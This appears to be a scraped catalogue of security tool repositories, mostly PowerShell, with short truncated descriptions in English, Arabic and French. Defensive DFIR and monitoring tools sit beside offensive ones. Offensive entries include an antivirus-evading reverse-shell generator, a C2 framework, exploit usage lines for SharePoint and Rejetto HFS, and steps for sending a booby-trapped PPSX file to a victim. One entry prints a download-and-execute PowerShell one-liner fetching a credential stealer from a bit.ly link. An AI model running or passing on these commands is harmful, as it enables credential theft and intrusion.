fudshell

fudshell An efficent Script To Generate FUD Persistent Reverse Shell For Red Teaming. Don't Upload Generated Stub On Virustotal Warning: Don't Upload Any Payload On VirusTotal. If it get detected then let me know... i will update the stub. If u need cobalt strike evasions then DM on Telegram:...

AD_Enumeration_Hunt

ADEnumerationHunt Description Welcome to the AD Pentesting Toolkit! This repository contains a collection of PowerShell scripts and commands that can be used for Active Directory AD penetration testing and security assessment. The scripts cover various aspects of AD enumeration, user and group...

Invoke-DumpMDEConfig

سكربت PowerShell الخاص بـ DumpMDEConfig نظرة عامة Invoke-DumpMDEConfig هو سكربت PowerShell مصمم لاستخراج وعرض تكوين Microsoft Defender والسجلات، بما في ذلك المسارات المستثناة، وقواعد ASR المفعّلة، والتهديدات المسموح بها، وسجل الحماية، وسجل حماية Exploit Guard. يوفر السكربت خيارات لإخراج البيانات...

DFIR-O365RC

Table of contents: 1. Module description 2. Installation and prerequisites 1. Using Docker 2. Manual Installation 3. Managing the DFIR-O365RC application 1. Creating the application 2. Updating the application 3. Removing the application 4. Permissions and license requirements 5. Functions includ...

ToolShell

Exploit pour SharePoint ToolShell. Blog : https://blog.viettelcybersecurity.com/sharepoint-toolshell/ Comment l'utiliser : python exploit.py -u -c Ex : python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

RiskySPN

RiskySPNs RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs Service Principal Name. This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active...

CVE-2020-16898_Check

CVE-2020-16898Check سكربت PowerShell بسيط يتحقق من الواجهات المعرضة للخطر...

Stompy

Stompy A PowerShell function to perform timestomping on specified files and directories. The function can modify timestamps recursively for all files in a directory. Change timestamps for individual files or directories. Recursively apply timestamps to all files in a directory. Option to use...

Invoke-PSObfuscation

Invoke-PSObfuscation Traditional obfuscation techniques tend to add layers to encapsulate standing code, such as base64 or compression. These payloads do continue to have a varied degree of success, but they have become trivial to extract the intended payload and some launchers get detected often...

CVE-2017-8570

الاستخدام: بعد تنزيل السكربت، عدّل attackip ليكون عنوان IP الخاص بـ kali، وLPORT ليكون المنفذ الذي سيستمع عليه msf، وDIR ليكون أي مجلد فارغ امنح السكربت صلاحيات 777 chmod 777 auto ثم شغّل السكربت ./auto ثم ابحث عن ملف Invoice.ppsx في المجلد DIR+Office8570 وأرسله إلى الضحية عندما يفتح الضحية ملف...

ADLab

ADLab PowerShell Module Introduction The purpose of this module is to automate the deployment of an Active Directory lab for practicing internal penetration testing. Credits to Joe Helle and his PowerShell for Pentesters course regarding the generation of the attack vectors. Instructions...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - تنفيذ أوامر عن بُعد CVE-2014-6287 إعادة كتابة لـ Pergyz 49584.py لإرجاع قشرة PowerShell عكسية x64 الاستخدام $ python3 hfs-2-3-exploit.py قم بتوفير المتغيرات عند الطلب، وسيبدأ Netcat تلقائيًا لك...

cve-2023-50164

CVE-2023-50164 الإصدارات المعرضة للخطر Struts 2.0.0 - Struts 2.3.37 EOL Struts 2.5.0 - Struts 2.5.32 Struts 6.0.0 - Struts 6.3.0 الإصدارات التي تم إصلاح الثغرة فيها Struts 2.5.33 Struts 6.3.0.2 سكربت البحث Windows/PowerShell من أجل Powershell 5.1 والإصدارات الأحدث. كتبه Kjetil Sigvartsen من Norsk...

ATTPwn

ATTPwn / || || || | || || \ | o || || || o | | || | | ||| |||| ||| /| | | || | | | | | | | | | | | ' || | | | | | | | | | | | \ / | | | ||| || || || // ||| ATTPwn is a computer security tool designed to emulate adversaries. The tool aims to bring emulation of a real threat into closer contact...

KeePass-CVE-2023-24055

KeePass-CVE-2023-24055 Reproduction de KeePass CVE-2023-24055 Reproduction de KeePass CVE-2023-24055 1. Préparer la machine : kali 192.168.232.129, windows10 192.168.232.128 2. Version de KeePass : 2.53 2. Principe : en modifiant le fichier de configuration KeePass.config.xml, ajouter une...

credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

meterpeter

Author: @r00t-3xp10it Version release: v2.10.14 Distros Supported: Windows x86|x64, Linux Inspired in the work of: '@ZHacker13 - ReverseTCPShell' :octocat: Quick Jump List Project Description List Of Available Modules Meterpeter C2 Latest Release How To - Under Linux Distributions How To - Under...

AzureRT

AzureRT Powershell module implementing various cmdlets to interact with Azure and Azure AD from an offensive perspective. Helpful utilities dealing with access token based authentication, switching from Az to AzureAD and az cli interfaces, easy to use pre-made attacks such as Runbook-based comman...

PyFuscation

PyFuscation يتطلب Python3 الاستخدام: PyFuscation.py -h -f -v -p --ps SCRIPT الوسائط الاختيارية: • -h, --help عرض رسالة المساعدة هذه والخروج • -f إخفاء الدوال ○ قم بهذا أولاً... من المحتمل أنه الأكثر فعالية • -v إخفاء المتغيرات ○ إذا كنت ستقوم بإخفاء المتغيرات، فقم بإخفاء المعاملات أيضًا. • -p إخف...

SharePointSecurityMonitor

🛡️ SharePoint Security Monitor v5.0 🚀 حل شامل لمراقبة أمان SharePoint مبني على PowerShell مع حماية من CVE-2023-29357 وCVE-2023-33157، وإدارة ذكية لملفات DLL، وكشف متقدم للتهديدات، وإمكانيات تنبيه آلية. 📋 جدول المحتويات 🌟 نظرة عامة على المشروع ✨ الميزات الرئيسية 🏗️ بنية الحل 🚀 دليل البدء السريع 📁...